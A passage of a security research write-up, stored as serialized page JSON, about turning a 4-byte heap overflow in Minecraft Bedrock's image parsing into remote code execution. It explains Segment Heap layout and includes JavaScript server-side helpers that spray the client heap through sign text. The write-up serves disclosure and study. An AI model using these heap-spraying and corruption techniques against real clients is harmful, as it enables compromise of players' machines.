controllable",{"type":23,"tag":102,"props":151472,"children":151473},{},[151474,151476],{"type":29,"value":151475},"Last byte will be ",{"type":23,"tag":71,"props":151477,"children":151479},{"className":151478},[],[151480],{"type":29,"value":115122},{"type":23,"tag":102,"props":151482,"children":151483},{},[151484],{"type":29,"value":151485},"Size of the allocation is controlled",{"type":23,"tag":102,"props":151487,"children":151488},{},[151489,151491],{"type":29,"value":151490},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":98,"props":151492,"children":151493},{},[151494,151499],{"type":23,"tag":102,"props":151495,"children":151496},{},[151497],{"type":29,"value":151498},"Allocated just before the image-parsing process",{"type":23,"tag":102,"props":151500,"children":151501},{},[151502],{"type":29,"value":151503},"Freed immediately upon parsing completion",{"type":23,"tag":21113,"props":151505,"children":151506},{},[],{"type":23,"tag":32,"props":151508,"children":151509},{},[151510,151512,151519,151521,151528],{"type":29,"value":151511},"Note that this bug was already found before (",{"type":23,"tag":181,"props":151513,"children":151516},{"href":151514,"rel":151515},"https://github.com/nothings/stb/issues/656",[185],[151517],{"type":29,"value":151518},"Github Issue",{"type":29,"value":151520},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":181,"props":151522,"children":151525},{"href":151523,"rel":151524},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[185],[151526],{"type":29,"value":151527},"this commit",{"type":29,"value":312},{"type":23,"tag":24,"props":151530,"children":151531},{"id":7758},[151532],{"type":29,"value":7761},{"type":23,"tag":32,"props":151534,"children":151535},{},[151536],{"type":29,"value":151537},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":32,"props":151539,"children":151540},{},[151541],{"type":29,"value":151542},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":59,"props":151544,"children":151546},{"id":151545},"searching-for-better-primitives",[151547],{"type":29,"value":151548},"Searching for Better Primitives",{"type":23,"tag":32,"props":151550,"children":151551},{},[151552],{"type":29,"value":151553},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":32,"props":151555,"children":151556},{},[151557,151559,151566],{"type":29,"value":151558},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":181,"props":151560,"children":151563},{"href":151561,"rel":151562},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[185],[151564],{"type":29,"value":151565},"UWP",{"type":29,"value":151567}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":59,"props":151569,"children":151571},{"id":151570},"segment-heap",[151572],{"type":29,"value":151573},"Segment Heap",{"type":23,"tag":32,"props":151575,"children":151576},{},[151577,151579,151586],{"type":29,"value":151578},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":181,"props":151580,"children":151583},{"href":151581,"rel":151582},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[185],[151584],{"type":29,"value":151585},"this talk",{"type":29,"value":151587}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":192,"props":151589,"children":151591},{"id":151590},"low-fragmentation-heap",[151592],{"type":29,"value":151593},"Low Fragmentation Heap",{"type":23,"tag":32,"props":151595,"children":151596},{},[151597,151599,151605],{"type":29,"value":151598},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":71,"props":151600,"children":151602},{"className":151601},[],[151603],{"type":29,"value":151604},"0x3ff0",{"type":29,"value":151606}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":32,"props":151608,"children":151609},{},[151610],{"type":29,"value":151611},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":220,"props":151613,"children":151615},{"code":151614},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[151616],{"type":23,"tag":71,"props":151617,"children":151618},{"__ignoreMap":7},[151619],{"type":29,"value":151614},{"type":23,"tag":32,"props":151621,"children":151622},{},[151623],{"type":29,"value":151624},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":192,"props":151626,"children":151628},{"id":151627},"variable-size",[151629],{"type":29,"value":151630},"Variable Size",{"type":23,"tag":32,"props":151632,"children":151633},{},[151634,151636,151642,151644,151650],{"type":29,"value":151635},"This subsegment is used for allocation sizes from ",{"type":23,"tag":71,"props":151637,"children":151639},{"className":151638},[],[151640],{"type":29,"value":151641},"0x4000",{"type":29,"value":151643}," and up to ",{"type":23,"tag":71,"props":151645,"children":151647},{"className":151646},[],[151648],{"type":29,"value":151649},"0x20_000",{"type":29,"value":151651},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":220,"props":151653,"children":151655},{"code":151654},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[151656],{"type":23,"tag":71,"props":151657,"children":151658},{"__ignoreMap":7},[151659],{"type":29,"value":151654},{"type":23,"tag":32,"props":151661,"children":151662},{},[151663,151665,151671],{"type":29,"value":151664},"The header, ",{"type":23,"tag":71,"props":151666,"children":151668},{"className":151667},[],[151669],{"type":29,"value":151670},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":151672},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":21113,"props":151674,"children":151675},{},[],{"type":23,"tag":32,"props":151677,"children":151678},{},[151679],{"type":29,"value":151680},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":32,"props":151682,"children":151683},{},[151684,151686,151693],{"type":29,"value":151685},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":181,"props":151687,"children":151690},{"href":151688,"rel":151689},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[185],[151691],{"type":29,"value":151692},"technique published",{"type":29,"value":151694}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":32,"props":151696,"children":151697},{},[151698],{"type":29,"value":151699},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":32,"props":151701,"children":151702},{},[151703],{"type":29,"value":151704},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":59,"props":151706,"children":151708},{"id":151707},"finding-a-way-to-spray-the-heap",[151709],{"type":29,"value":151710},"Finding a Way to Spray the Heap",{"type":23,"tag":32,"props":151712,"children":151713},{},[151714],{"type":29,"value":151715},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":98,"props":151717,"children":151718},{},[151719,151724,151729,151734],{"type":23,"tag":102,"props":151720,"children":151721},{},[151722],{"type":29,"value":151723},"The size of the allocation",{"type":23,"tag":102,"props":151725,"children":151726},{},[151727],{"type":29,"value":151728},"The data written into the allocated buffer",{"type":23,"tag":102,"props":151730,"children":151731},{},[151732],{"type":29,"value":151733},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":102,"props":151735,"children":151736},{},[151737],{"type":29,"value":151738},"The number of created objects (preferably unbounded)",{"type":23,"tag":32,"props":151740,"children":151741},{},[151742],{"type":29,"value":151743},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":192,"props":151745,"children":151747},{"id":151746},"minecraft-signs",[151748],{"type":29,"value":151749},"Minecraft Signs",{"type":23,"tag":32,"props":151751,"children":151752},{},[151753],{"type":29,"value":151754},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":32,"props":151756,"children":151757},{},[151758,151760,151766],{"type":29,"value":151759},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":71,"props":151761,"children":151763},{"className":151762},[],[151764],{"type":29,"value":151765},"std::string",{"type":29,"value":312},{"type":23,"tag":32,"props":151768,"children":151769},{},[151770,151772,151777],{"type":29,"value":151771},"In Microsoft’s C++ implementation, ",{"type":23,"tag":71,"props":151773,"children":151775},{"className":151774},[],[151776],{"type":29,"value":151765},{"type":29,"value":151778}," is structured roughly as follows:",{"type":23,"tag":220,"props":151780,"children":151782},{"code":151781,"language":2148,"meta":7,"className":18839,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[151783],{"type":23,"tag":71,"props":151784,"children":151785},{"__ignoreMap":7},[151786,151797,151804,151816,151832,151856,151863,151874,151886],{"type":23,"tag":230,"props":151787,"children":151788},{"class":232,"line":233},[151789,151793],{"type":23,"tag":230,"props":151790,"children":151791},{"style":256},[151792],{"type":29,"value":11733},{"type":23,"tag":230,"props":151794,"children":151795},{"style":274},[151796],{"type":29,"value":86823},{"type":23,"tag":230,"props":151798,"children":151799},{"class":232,"line":243},[151800],{"type":23,"tag":230,"props":151801,"children":151802},{"style":274},[151803],{"type":29,"value":13211},{"type":23,"tag":230,"props":151805,"children":151806},{"class":232,"line":252},[151807,151812],{"type":23,"tag":230,"props":151808,"children":151809},{"style":256},[151810],{"type":29,"value":151811},"    union",{"type":23,"tag":230,"props":151813,"children":151814},{"style":274},[151815],{"type":29,"value":277},{"type":23,"tag":230,"props":151817,"children":151818},{"class":232,"line":280},[151819,151824,151828],{"type":23,"tag":230,"props":151820,"children":151821},{"style":256},[151822],{"type":29,"value":151823},"        char",{"type":23,"tag":230,"props":151825,"children":151826},{"style":268},[151827],{"type":29,"value":6909},{"type":23,"tag":230,"props":151829,"children":151830},{"style":274},[151831],{"type":29,"value":18881},{"type":23,"tag":230,"props":151833,"children":151834},{"class":232,"line":334},[151835,151839,151844,151848,151852],{"type":23,"tag":230,"props":151836,"children":151837},{"style":256},[151838],{"type":29,"value":151823},{"type":23,"tag":230,"props":151840,"children":151841},{"style":262},[151842],{"type":29,"value":151843}," buf",{"type":23,"tag":230,"props":151845,"children":151846},{"style":274},[151847],{"type":29,"value":6069},{"type":23,"tag":230,"props":151849,"children":151850},{"style":5149},[151851],{"type":29,"value":42613},{"type":23,"tag":230,"props":151853,"children":151854},{"style":274},[151855],{"type":29,"value":33871},{"type":23,"tag":230,"props":151857,"children":151858},{"class":232,"line":371},[151859],{"type":23,"tag":230,"props":151860,"children":151861},{"style":274},[151862],{"type":29,"value":3700},{"type":23,"tag":230,"props":151864,"children":151865},{"class":232,"line":391},[151866,151870],{"type":23,"tag":230,"props":151867,"children":151868},{"style":256},[151869],{"type":29,"value":18889},{"type":23,"tag":230,"props":151871,"children":151872},{"style":274},[151873],{"type":29,"value":126381},{"type":23,"tag":230,"props":151875,"children":151876},{"class":232,"line":400},[151877,151881],{"type":23,"tag":230,"props":151878,"children":151879},{"style":256},[151880],{"type":29,"value":18889},{"type":23,"tag":230,"props":151882,"children":151883},{"style":274},[151884],{"type":29,"value":151885}," capacity;\n",{"type":23,"tag":230,"props":151887,"children":151888},{"class":232,"line":444},[151889],{"type":23,"tag":230,"props":151890,"children":151891},{"style":274},[151892],{"type":29,"value":450},{"type":23,"tag":32,"props":151894,"children":151895},{},[151896,151898,151904,151906,151911],{"type":29,"value":151897},"We are primarily interested in the union: ",{"type":23,"tag":71,"props":151899,"children":151901},{"className":151900},[],[151902],{"type":29,"value":151903},"buf",{"type":29,"value":151905}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":71,"props":151907,"children":151909},{"className":151908},[],[151910],{"type":29,"value":16276},{"type":29,"value":151912}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":32,"props":151914,"children":151915},{},[151916],{"type":29,"value":151917},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":32,"props":151919,"children":151920},{},[151921],{"type":29,"value":151922},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":192,"props":151924,"children":151926},{"id":151925},"spraying-with-server-side-scripting",[151927],{"type":29,"value":151928},"Spraying With Server-Side Scripting",{"type":23,"tag":32,"props":151930,"children":151931},{},[151932],{"type":29,"value":151933},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":32,"props":151935,"children":151936},{},[151937,151939,151945,151946,151952],{"type":29,"value":151938},"We wrote ",{"type":23,"tag":71,"props":151940,"children":151942},{"className":151941},[],[151943],{"type":29,"value":151944},"alloc",{"type":29,"value":112},{"type":23,"tag":71,"props":151947,"children":151949},{"className":151948},[],[151950],{"type":29,"value":151951},"free",{"type":29,"value":151953}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":220,"props":151955,"children":151957},{"code":151956,"language":224,"meta":7,"className":222,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[151958],{"type":23,"tag":71,"props":151959,"children":151960},{"__ignoreMap":7},[151961,151969,152011,152044,152089,152101,152108,152115,152176,152203,152218,152225,152232,152261,152276,152283,152290,152298,152322,152373,152384,152391,152398,152435,152462,152469,152498,152528,152535,152562],{"type":23,"tag":230,"props":151962,"children":151963},{"class":232,"line":233},[151964],{"type":23,"tag":230,"props":151965,"children":151966},{"style":237},[151967],{"type":29,"value":151968},"// Allocate sign text in the client\n",{"type":23,"tag":230,"props":151970,"children":151971},{"class":232,"line":243},[151972,151976,151981,151985,151989,151993,151998,152002,152007],{"type":23,"tag":230,"props":151973,"children":151974},{"style":256},[151975],{"type":29,"value":3381},{"type":23,"tag":230,"props":151977,"children":151978},{"style":294},[151979],{"type":29,"value":151980}," alloc",{"type":23,"tag":230,"props":151982,"children":151983},{"style":274},[151984],{"type":29,"value":302},{"type":23,"tag":230,"props":151986,"children":151987},{"style":262},[151988],{"type":29,"value":126039},{"type":23,"tag":230,"props":151990,"children":151991},{"style":274},[151992],{"type":29,"value":684},{"type":23,"tag":230,"props":151994,"children":151995},{"style":262},[151996],{"type":29,"value":151997},"fill",{"type":23,"tag":230,"props":151999,"children":152000},{"style":268},[152001],{"type":29,"value":863},{"type":23,"tag":230,"props":152003,"children":152004},{"style":380},[152005],{"type":29,"value":152006},"\"A\"",{"type":23,"tag":230,"props":152008,"children":152009},{"style":274},[152010],{"type":29,"value":827},{"type":23,"tag":230,"props":152012,"children":152013},{"class":232,"line":252},[152014,152018,152022,152026,152031,152035,152040],{"type":23,"tag":230,"props":152015,"children":152016},{"style":866},[152017],{"type":29,"value":5371},{"type":23,"tag":230,"props":152019,"children":152020},{"style":274},[152021],{"type":29,"value":664},{"type":23,"tag":230,"props":152023,"children":152024},{"style":256},[152025],{"type":29,"value":14118},{"type":23,"tag":230,"props":152027,"children":152028},{"style":262},[152029],{"type":29,"value":152030}," sign",{"type":23,"tag":230,"props":152032,"children":152033},{"style":256},[152034],{"type":29,"value":12693},{"type":23,"tag":230,"props":152036,"children":152037},{"style":262},[152038],{"type":29,"value":152039}," signs",{"type":23,"tag":230,"props":152041,"children":152042},{"style":274},[152043],{"type":29,"value":827},{"type":23,"tag":230,"props":152045,"children":152046},{"class":232,"line":280},[152047,152051,152055,152060,152064,152069,152073,152077,152081,152085],{"type":23,"tag":230,"props":152048,"children":152049},{"style":866},[152050],{"type":29,"value":5611},{"type":23,"tag":230,"props":152052,"children":152053},{"style":274},[152054],{"type":29,"value":664},{"type":23,"tag":230,"props":152056,"children":152057},{"style":262},[152058],{"type":29,"value":152059},"sign",{"type":23,"tag":230,"props":152061,"children":152062},{"style":274},[152063],{"type":29,"value":312},{"type":23,"tag":230,"props":152065,"children":152066},{"style":262},[152067],{"type":29,"value":152068},"allocated",{"type":23,"tag":230,"props":152070,"children":152071},{"style":268},[152072],{"type":29,"value":4014},{"type":23,"tag":230,"props":152074,"children":152075},{"style":262},[152076],{"type":29,"value":152030},{"type":23,"tag":230,"props":152078,"children":152079},{"style":274},[152080],{"type":29,"value":312},{"type":23,"tag":230,"props":152082,"children":152083},{"style":262},[152084],{"type":29,"value":134744},{"type":23,"tag":230,"props":152086,"children":152087},{"style":274},[152088],{"type":29,"value":827},{"type":23,"tag":230,"props":152090,"children":152091},{"class":232,"line":334},[152092,152097],{"type":23,"tag":230,"props":152093,"children":152094},{"style":866},[152095],{"type":29,"value":152096},"            continue",{"type":23,"tag":230,"props":152098,"children":152099},{"style":274},[152100],{"type":29,"value":511},{"type":23,"tag":230,"props":152102,"children":152103},{"class":232,"line":371},[152104],{"type":23,"tag":230,"props":152105,"children":152106},{"style":274},[152107],{"type":29,"value":5686},{"type":23,"tag":230,"props":152109,"children":152110},{"class":232,"line":391},[152111],{"type":23,"tag":230,"props":152112,"children":152113},{"emptyLinePlaceholder":18},[152114],{"type":29,"value":459},{"type":23,"tag":230,"props":152116,"children":152117},{"class":232,"line":400},[152118,152123,152127,152131,152135,152140,152144,152148,152152,152156,152160,152164,152168,152172],{"type":23,"tag":230,"props":152119,"children":152120},{"style":262},[152121],{"type":29,"value":152122},"        sign",{"type":23,"tag":230,"props":152124,"children":152125},{"style":274},[152126],{"type":29,"value":312},{"type":23,"tag":230,"props":152128,"children":152129},{"style":262},[152130],{"type":29,"value":152059},{"type":23,"tag":230,"props":152132,"children":152133},{"style":274},[152134],{"type":29,"value":312},{"type":23,"tag":230,"props":152136,"children":152137},{"style":294},[152138],{"type":29,"value":152139},"setText",{"type":23,"tag":230,"props":152141,"children":152142},{"style":274},[152143],{"type":29,"value":302},{"type":23,"tag":230,"props":152145,"children":152146},{"style":262},[152147],{"type":29,"value":151997},{"type":23,"tag":230,"props":152149,"children":152150},{"style":274},[152151],{"type":29,"value":312},{"type":23,"tag":230,"props":152153,"children":152154},{"style":294},[152155],{"type":29,"value":134994},{"type":23,"tag":230,"props":152157,"children":152158},{"style":274},[152159],{"type":29,"value":302},{"type":23,"tag":230,"props":152161,"children":152162},{"style":262},[152163],{"type":29,"value":126039},{"type":23,"tag":230,"props":152165,"children":152166},{"style":268},[152167],{"type":29,"value":53028},{"type":23,"tag":230,"props":152169,"children":152170},{"style":5149},[152171],{"type":29,"value":6861},{"type":23,"tag":230,"props":152173,"children":152174},{"style":274},[152175],{"type":29,"value":9559},{"type":23,"tag":230,"props":152177,"children":152178},{"class":232,"line":444},[152179,152183,152187,152191,152195,152199],{"type":23,"tag":230,"props":152180,"children":152181},{"style":262},[152182],{"type":29,"value":152122},{"type":23,"tag":230,"props":152184,"children":152185},{"style":274},[152186],{"type":29,"value":312},{"type":23,"tag":230,"props":152188,"children":152189},{"style":262},[152190],{"type":29,"value":152068},{"type":23,"tag":230,"props":152192,"children":152193},{"style":268},[152194],{"type":29,"value":271},{"type":23,"tag":230,"props":152196,"children":152197},{"style":256},[152198],{"type":29,"value":14799},{"type":23,"tag":230,"props":152200,"children":152201},{"style":274},[152202],{"type":29,"value":511},{"type":23,"tag":230,"props":152204,"children":152205},{"class":232,"line":453},[152206,152210,152214],{"type":23,"tag":230,"props":152207,"children":152208},{"style":866},[152209],{"type":29,"value":3554},{"type":23,"tag":230,"props":152211,"children":152212},{"style":262},[152213],{"type":29,"value":152030},{"type":23,"tag":230,"props":152215,"children":152216},{"style":274},[152217],{"type":29,"value":511},{"type":23,"tag":230,"props":152219,"children":152220},{"class":232,"line":462},[152221],{"type":23,"tag":230,"props":152222,"children":152223},{"style":274},[152224],{"type":29,"value":1552},{"type":23,"tag":230,"props":152226,"children":152227},{"class":232,"line":471},[152228],{"type":23,"tag":230,"props":152229,"children":152230},{"emptyLinePlaceholder":18},[152231],{"type":29,"value":459},{"type":23,"tag":230,"props":152233,"children":152234},{"class":232,"line":500},[152235,152239,152243,152248,152252,152257],{"type":23,"tag":230,"props":152236,"children":152237},{"style":262},[152238],{"type":29,"value":33741},{"type":23,"tag":230,"props":152240,"children":152241},{"style":274},[152242],{"type":29,"value":312},{"type":23,"tag":230,"props":152244,"children":152245},{"style":294},[152246],{"type":29,"value":152247},"warn",{"type":23,"tag":230,"props":152249,"children":152250},{"style":274},[152251],{"type":29,"value":302},{"type":23,"tag":230,"props":152253,"children":152254},{"style":380},[152255],{"type":29,"value":152256},"\"No more allocs\"",{"type":23,"tag":230,"props":152258,"children":152259},{"style":274},[152260],{"type":29,"value":753},{"type":23,"tag":230,"props":152262,"children":152263},{"class":232,"line":514},[152264,152268,152272],{"type":23,"tag":230,"props":152265,"children":152266},{"style":866},[152267],{"type":29,"value":4427},{"type":23,"tag":230,"props":152269,"children":152270},{"style":256},[152271],{"type":29,"value":4044},{"type":23,"tag":230,"props":152273,"children":152274},{"style":274},[152275],{"type":29,"value":511},{"type":23,"tag":230,"props":152277,"children":152278},{"class":232,"line":897},[152279],{"type":23,"tag":230,"props":152280,"children":152281},{"style":274},[152282],{"type":29,"value":975},{"type":23,"tag":230,"props":152284,"children":152285},{"class":232,"line":960},[152286],{"type":23,"tag":230,"props":152287,"children":152288},{"emptyLinePlaceholder":18},[152289],{"type":29,"value":459},{"type":23,"tag":230,"props":152291,"children":152292},{"class":232,"line":969},[152293],{"type":23,"tag":230,"props":152294,"children":152295},{"style":237},[152296],{"type":29,"value":152297},"// Free an allocated sign in the client\n",{"type":23,"tag":230,"props":152299,"children":152300},{"class":232,"line":4526},[152301,152305,152310,152314,152318],{"type":23,"tag":230,"props":152302,"children":152303},{"style":256},[152304],{"type":29,"value":3381},{"type":23,"tag":230,"props":152306,"children":152307},{"style":294},[152308],{"type":29,"value":152309}," free",{"type":23,"tag":230,"props":152311,"children":152312},{"style":274},[152313],{"type":29,"value":302},{"type":23,"tag":230,"props":152315,"children":152316},{"style":262},[152317],{"type":29,"value":152059},{"type":23,"tag":230,"props":152319,"children":152320},{"style":274},[152321],{"type":29,"value":827},{"type":23,"tag":230,"props":152323,"children":152324},{"class":232,"line":4534},[152325,152329,152333,152337,152341,152345,152349,152353,152357,152361,152365,152369],{"type":23,"tag":230,"props":152326,"children":152327},{"style":866},[152328],{"type":29,"value":1493},{"type":23,"tag":230,"props":152330,"children":152331},{"style":274},[152332],{"type":29,"value":664},{"type":23,"tag":230,"props":152334,"children":152335},{"style":262},[152336],{"type":29,"value":152059},{"type":23,"tag":230,"props":152338,"children":152339},{"style":268},[152340],{"type":29,"value":5621},{"type":23,"tag":230,"props":152342,"children":152343},{"style":256},[152344],{"type":29,"value":4044},{"type":23,"tag":230,"props":152346,"children":152347},{"style":268},[152348],{"type":29,"value":4014},{"type":23,"tag":230,"props":152350,"children":152351},{"style":262},[152352],{"type":29,"value":152030},{"type":23,"tag":230,"props":152354,"children":152355},{"style":274},[152356],{"type":29,"value":312},{"type":23,"tag":230,"props":152358,"children":152359},{"style":262},[152360],{"type":29,"value":152068},{"type":23,"tag":230,"props":152362,"children":152363},{"style":268},[152364],{"type":29,"value":5621},{"type":23,"tag":230,"props":152366,"children":152367},{"style":256},[152368],{"type":29,"value":11391},{"type":23,"tag":230,"props":152370,"children":152371},{"style":274},[152372],{"type":29,"value":827},{"type":23,"tag":230,"props":152374,"children":152375},{"class":232,"line":4542},[152376,152380],{"type":23,"tag":230,"props":152377,"children":152378},{"style":866},[152379],{"type":29,"value":3554},{"type":23,"tag":230,"props":152381,"children":152382},{"style":274},[152383],{"type":29,"value":511},{"type":23,"tag":230,"props":152385,"children":152386},{"class":232,"line":4559},[152387],{"type":23,"tag":230,"props":152388,"children":152389},{"style":274},[152390],{"type":29,"value":1552},{"type":23,"tag":230,"props":152392,"children":152393},{"class":232,"line":4587},[152394],{"type":23,"tag":230,"props":152395,"children":152396},{"emptyLinePlaceholder":18},[152397],{"type":29,"value":459},{"type":23,"tag":230,"props":152399,"children":152400},{"class":232,"line":4595},[152401,152406,152410,152414,152418,152422,152426,152431],{"type":23,"tag":230,"props":152402,"children":152403},{"style":262},[152404],{"type":29,"value":152405},"    sign",{"type":23,"tag":230,"props":152407,"children":152408},{"style":274},[152409],{"type":29,"value":312},{"type":23,"tag":230,"props":152411,"children":152412},{"style":262},[152413],{"type":29,"value":152059},{"type":23,"tag":230,"props":152415,"children":152416},{"style":274},[152417],{"type":29,"value":312},{"type":23,"tag":230,"props":152419,"children":152420},{"style":294},[152421],{"type":29,"value":152139},{"type":23,"tag":230,"props":152423,"children":152424},{"style":274},[152425],{"type":29,"value":302},{"type":23,"tag":230,"props":152427,"children":152428},{"style":380},[152429],{"type":29,"value":152430},"\"\"",{"type":23,"tag":230,"props":152432,"children":152433},{"style":274},[152434],{"type":29,"value":753},{"type":23,"tag":230,"props":152436,"children":152437},{"class":232,"line":4619},[152438,152442,152446,152450,152454,152458],{"type":23,"tag":230,"props":152439,"children":152440},{"style":262},[152441],{"type":29,"value":152405},{"type":23,"tag":230,"props":152443,"children":152444},{"style":274},[152445],{"type":29,"value":312},{"type":23,"tag":230,"props":152447,"children":152448},{"style":262},[152449],{"type":29,"value":152068},{"type":23,"tag":230,"props":152451,"children":152452},{"style":268},[152453],{"type":29,"value":271},{"type":23,"tag":230,"props":152455,"children":152456},{"style":256},[152457],{"type":29,"value":11391},{"type":23,"tag":230,"props":152459,"children":152460},{"style":274},[152461],{"type":29,"value":511},{"type":23,"tag":230,"props":152463,"children":152464},{"class":232,"line":4627},[152465],{"type":23,"tag":230,"props":152466,"children":152467},{"emptyLinePlaceholder":18},[152468],{"type":29,"value":459},{"type":23,"tag":230,"props":152470,"children":152471},{"class":232,"line":4659},[152472,152476,152480,152485,152489,152494],{"type":23,"tag":230,"props":152473,"children":152474},{"style":262},[152475],{"type":29,"value":152405},{"type":23,"tag":230,"props":152477,"children":152478},{"style":274},[152479],{"type":29,"value":312},{"type":23,"tag":230,"props":152481,"children":152482},{"style":262},[152483],{"type":29,"value":152484},"block",{"type":23,"tag":230,"props":152486,"children":152487},{"style":274},[152488],{"type":29,"value":312},{"type":23,"tag":230,"props":152490,"children":152491},{"style":294},[152492],{"type":29,"value":152493},"setPermutation",{"type":23,"tag":230,"props":152495,"children":152496},{"style":274},[152497],{"type":29,"value":619},{"type":23,"tag":230,"props":152499,"children":152500},{"class":232,"line":4671},[152501,152506,152510,152515,152519,152524],{"type":23,"tag":230,"props":152502,"children":152503},{"style":262},[152504],{"type":29,"value":152505},"        BlockPermutation",{"type":23,"tag":230,"props":152507,"children":152508},{"style":274},[152509],{"type":29,"value":312},{"type":23,"tag":230,"props":152511,"children":152512},{"style":294},[152513],{"type":29,"value":152514},"resolve",{"type":23,"tag":230,"props":152516,"children":152517},{"style":274},[152518],{"type":29,"value":302},{"type":23,"tag":230,"props":152520,"children":152521},{"style":380},[152522],{"type":29,"value":152523},"\"minecraft:air\"",{"type":23,"tag":230,"props":152525,"children":152526},{"style":274},[152527],{"type":29,"value":4516},{"type":23,"tag":230,"props":152529,"children":152530},{"class":232,"line":4688},[152531],{"type":23,"tag":230,"props":152532,"children":152533},{"style":274},[152534],{"type":29,"value":45425},{"type":23,"tag":230,"props":152536,"children":152537},{"class":232,"line":4701},[152538,152542,152546,152550,152554,152558],{"type":23,"tag":230,"props":152539,"children":152540},{"style":262},[152541],{"type":29,"value":152405},{"type":23,"tag":230,"props":152543,"children":152544},{"style":274},[152545],{"type":29,"value":312},{"type":23,"tag":230,"props":152547,"children":152548},{"style":262},[152549],{"type":29,"value":134744},{"type":23,"tag":230,"props":152551,"children":152552},{"style":268},[152553],{"type":29,"value":271},{"